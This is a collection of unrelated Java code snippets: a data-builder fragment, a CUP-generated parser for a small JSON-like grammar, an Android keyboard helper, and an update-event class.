data.add(VERIFY_KEY_KEY, verifyKey);
data.add(TEAM_KEY, team);
if(guildId != null) data.add(GUILD_ID_KEY, guildId);
if(primarySkuId != null) data.add(PRIMARY_SKU_ID_KEY, primarySkuId);
if(slug != null) data.add(SLUG_KEY, slug);
if(coverImage != null) data.add(COVER_IMAGE_KEY, coverImage);
if(flags != null) data.add(FLAGS_KEY, flags);
return data;
}
@Override
public LApi getLApi() {
return lApi;
}
}
|
Java
|
public class Parser extends java_cup.runtime.lr_parser {
/** Default constructor. */
public Parser() {super();}
/** Constructor which sets the default scanner. */
public Parser(java_cup.runtime.Scanner s) {super(s);}
/** Constructor which sets the default scanner. */
public Parser(java_cup.runtime.Scanner s, java_cup.runtime.SymbolFactory sf) {super(s,sf);}
/** Production table. */
protected static final short _production_table[][] =
unpackFromStrings(new String[] {
"\000\022\000\002\010\003\000\002\002\004\000\002\010" +
"\003\000\002\002\004\000\002\002\005\000\002\003\005" +
"\000\002\003\003\000\002\004\005\000\002\006\004\000" +
"\002\006\005\000\002\007\005\000\002\007\003\000\002" +
"\005\003\000\002\005\003\000\002\005\003\000\002\005" +
"\003\000\002\005\003\000\002\005\003" });
/** Access to production table. */
public short[][] production_table() {return _production_table;}
/** Parse-action table. */
protected static final short[][] _action_table =
unpackFromStrings(new String[] {
"\000\034\000\006\006\004\010\006\001\002\000\020\006" +
"\004\007\031\010\006\012\022\013\017\014\023\015\020" +
"\001\002\000\004\002\001\001\002\000\006\011\015\014" +
"\013\001\002\000\004\002\011\001\002\000\004\002\uffff" +
"\001\002\000\004\002\000\001\002\000\006\004\026\011" +
"\027\001\002\000\004\005\016\001\002\000\006\004\ufffb" +
"\011\ufffb\001\002\000\012\002\ufffe\004\ufffe\007\ufffe\011" +
"\ufffe\001\002\000\016\006\004\010\006\012\022\013\017" +
"\014\023\015\020\001\002\000\010\004\ufff4\007\ufff4\011" +
"\ufff4\001\002\000\010\004\ufff3\007\ufff3\011\ufff3\001\002" +
"\000\010\004\ufff0\007\ufff0\011\ufff0\001\002\000\010\004" +
"\ufff2\007\ufff2\011\ufff2\001\002\000\010\004\ufff5\007\ufff5" +
"\011\ufff5\001\002\000\010\004\ufff1\007\ufff1\011\ufff1\001" +
"\002\000\006\004\ufffa\011\ufffa\001\002\000\004\014\013" +
"\001\002\000\012\002\ufffd\004\ufffd\007\ufffd\011\ufffd\001" +
"\002\000\006\004\ufffc\011\ufffc\001\002\000\012\002\ufff9" +
"\004\ufff9\007\ufff9\011\ufff9\001\002\000\006\004\034\007" +
"\035\001\002\000\006\004\ufff6\007\ufff6\001\002\000\016" +
"\006\004\010\006\012\022\013\017\014\023\015\020\001" +
"\002\000\012\002\ufff8\004\ufff8\007\ufff8\011\ufff8\001\002" +
"\000\006\004\ufff7\007\ufff7\001\002" });
/** Access to parse-action table. */
public short[][] action_table() {return _action_table;}
/** <code>reduce_goto</code> table. */
protected static final short[][] _reduce_table =
unpackFromStrings(new String[] {
"\000\034\000\010\002\004\006\007\010\006\001\001\000" +
"\012\002\020\005\032\006\023\007\031\001\001\000\002" +
"\001\001\000\006\003\011\004\013\001\001\000\002\001" +
"\001\000\002\001\001\000\002\001\001\000\002\001\001" +
"\000\002\001\001\000\002\001\001\000\002\001\001\000" +
"\010\002\020\005\024\006\023\001\001\000\002\001\001" +
"\000\002\001\001\000\002\001\001\000\002\001\001\000" +
"\002\001\001\000\002\001\001\000\002\001\001\000\004" +
"\004\027\001\001\000\002\001\001\000\002\001\001\000" +
"\002\001\001\000\002\001\001\000\002\001\001\000\010" +
"\002\020\005\035\006\023\001\001\000\002\001\001\000" +
"\002\001\001" });
/** Access to <code>reduce_goto</code> table. */
public short[][] reduce_table() {return _reduce_table;}
/** Instance of action encapsulation class. */
protected CUP$Parser$actions action_obj;
/** Action encapsulation object initializer. */
protected void init_actions()
{
action_obj = new CUP$Parser$actions(this);
}
/** Invoke a user supplied parse action. */
public java_cup.runtime.Symbol do_action(
int act_num,
java_cup.runtime.lr_parser parser,
java.util.Stack stack,
int top)
throws java.lang.Exception
{
/* call code in generated class */
return action_obj.CUP$Parser$do_action(act_num, parser, stack, top);
}
/** Indicates start state. */
public int start_state() {return 0;}
/** Indicates start production. */
public int start_production() {return 1;}
/** <code>EOF</code> Symbol index. */
public int EOF_sym() {return 0;}
/** <code>error</code> Symbol index. */
public int error_sym() {return 1;}
public static void main(String args[]) throws Exception {
SymbolFactory sf = new DefaultSymbolFactory();
if (args.length==0) new Parser(new Scanner(System.in,sf),sf).parse();
else new Parser(new Scanner(new java.io.FileInputStream(args[0]),sf),sf).parse();
}
}
|
Java
|
class CUP$Parser$actions {
private final Parser parser;
/** Constructor */
CUP$Parser$actions(Parser parser) {
this.parser = parser;
}
/** Method with the actual generated action code. */
public final java_cup.runtime.Symbol CUP$Parser$do_action(
int CUP$Parser$act_num,
java_cup.runtime.lr_parser CUP$Parser$parser,
java.util.Stack CUP$Parser$stack,
int CUP$Parser$top)
throws java.lang.Exception
{
/* Symbol object for return from actions */
java_cup.runtime.Symbol CUP$Parser$result;
/* select the action based on the action number */
switch (CUP$Parser$act_num)
{
/*. . . . . . . . . . . . . . . . . . . .*/
case 17: // value ::= object
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("value",3, ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 16: // value ::= array
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("value",3, ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 15: // value ::= NULL
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("value",3, ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 14: // value ::= BOOLEAN
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("value",3, ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 13: // value ::= NUMBER
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("value",3, ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 12: // value ::= STRING
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("value",3, ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 11: // value_list ::= value
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("value_list",5, ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 10: // value_list ::= value_list COMMA value
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("value_list",5, ((java_cup.runtime.Symbol)CUP$Parser$stack.elementAt(CUP$Parser$top-2)), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 9: // array ::= LSQBRACKET value_list RSQBRACKET
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("array",4, ((java_cup.runtime.Symbol)CUP$Parser$stack.elementAt(CUP$Parser$top-2)), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 8: // array ::= LSQBRACKET RSQBRACKET
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("array",4, ((java_cup.runtime.Symbol)CUP$Parser$stack.elementAt(CUP$Parser$top-1)), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 7: // pair ::= STRING COLON value
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("pair",2, ((java_cup.runtime.Symbol)CUP$Parser$stack.elementAt(CUP$Parser$top-2)), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 6: // pair_list ::= pair
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("pair_list",1, ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 5: // pair_list ::= pair_list COMMA pair
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("pair_list",1, ((java_cup.runtime.Symbol)CUP$Parser$stack.elementAt(CUP$Parser$top-2)), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 4: // object ::= LCBRACKET pair_list RCBRACKET
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("object",0, ((java_cup.runtime.Symbol)CUP$Parser$stack.elementAt(CUP$Parser$top-2)), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 3: // object ::= LCBRACKET RCBRACKET
{
Object RESULT =null;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("object",0, ((java_cup.runtime.Symbol)CUP$Parser$stack.elementAt(CUP$Parser$top-1)), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 2: // file_start ::= array
{
Object RESULT =null;
System.out.println("Parse successful.");
CUP$Parser$result = parser.getSymbolFactory().newSymbol("file_start",6, ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 1: // $START ::= file_start EOF
{
Object RESULT =null;
int start_valleft = ((java_cup.runtime.Symbol)CUP$Parser$stack.elementAt(CUP$Parser$top-1)).left;
int start_valright = ((java_cup.runtime.Symbol)CUP$Parser$stack.elementAt(CUP$Parser$top-1)).right;
Object start_val = (Object)((java_cup.runtime.Symbol) CUP$Parser$stack.elementAt(CUP$Parser$top-1)).value;
RESULT = start_val;
CUP$Parser$result = parser.getSymbolFactory().newSymbol("$START",0, ((java_cup.runtime.Symbol)CUP$Parser$stack.elementAt(CUP$Parser$top-1)), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
/* ACCEPT */
CUP$Parser$parser.done_parsing();
return CUP$Parser$result;
/*. . . . . . . . . . . . . . . . . . . .*/
case 0: // file_start ::= object
{
Object RESULT =null;
System.out.println("Parse successful.");
CUP$Parser$result = parser.getSymbolFactory().newSymbol("file_start",6, ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), ((java_cup.runtime.Symbol)CUP$Parser$stack.peek()), RESULT);
}
return CUP$Parser$result;
/* . . . . . .*/
default:
throw new Exception(
"Invalid action number found in internal parse table");
}
}
}
|
Java
|
public class KeyboardUtil {
public static void showKeyboard(Context context, View view) {
InputMethodManager inputMethodManager = (InputMethodManager)
context.getSystemService(Context.INPUT_METHOD_SERVICE);
if (view != null && inputMethodManager != null) {
inputMethodManager.showSoftInput(view, InputMethodManager.SHOW_IMPLICIT);
}
}
public static void hideKeyboard(Context context, View view) {
InputMethodManager inputMethodManager = (InputMethodManager)
context.getSystemService(Context.INPUT_METHOD_SERVICE);
if (view != null && inputMethodManager != null) {
inputMethodManager.hideSoftInputFromWindow(view.getWindowToken(), 0);
}
}
public static void showKeyboardDelayed(final Context context, final View view, long delay) {
view.postDelayed(new Runnable() {
@Override
public void run() {
KeyboardUtil.showKeyboard(context, view);
}
}, delay);
}
}
|
Java
|
public class UpdatedDataEvent extends UpdateEvent {
private static final long serialVersionUID = 2906468013676213645L;
/**
* generates new update event
*
* @param source the class issuing the event
*/
public UpdatedDataEvent(final EventSource source) {
super(source, null, null);
}
/**
* generates new update event
*
* @param source the class issuing the event
* @param msg a customised message to be passed along (e.g. for debugging)
*/
public UpdatedDataEvent(final EventSource source, final String msg) {
super(source, msg, null);
}
/**
* generates new update event
*
* @param source the class issuing the event
* @param msg a customised message to be passed along (e.g. for debugging)
* @param payload a customised user pay-load to be passed to the listener
*/
public UpdatedDataEvent(final EventSource source, final String msg, final Object payload) {
super(source, msg, payload);
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.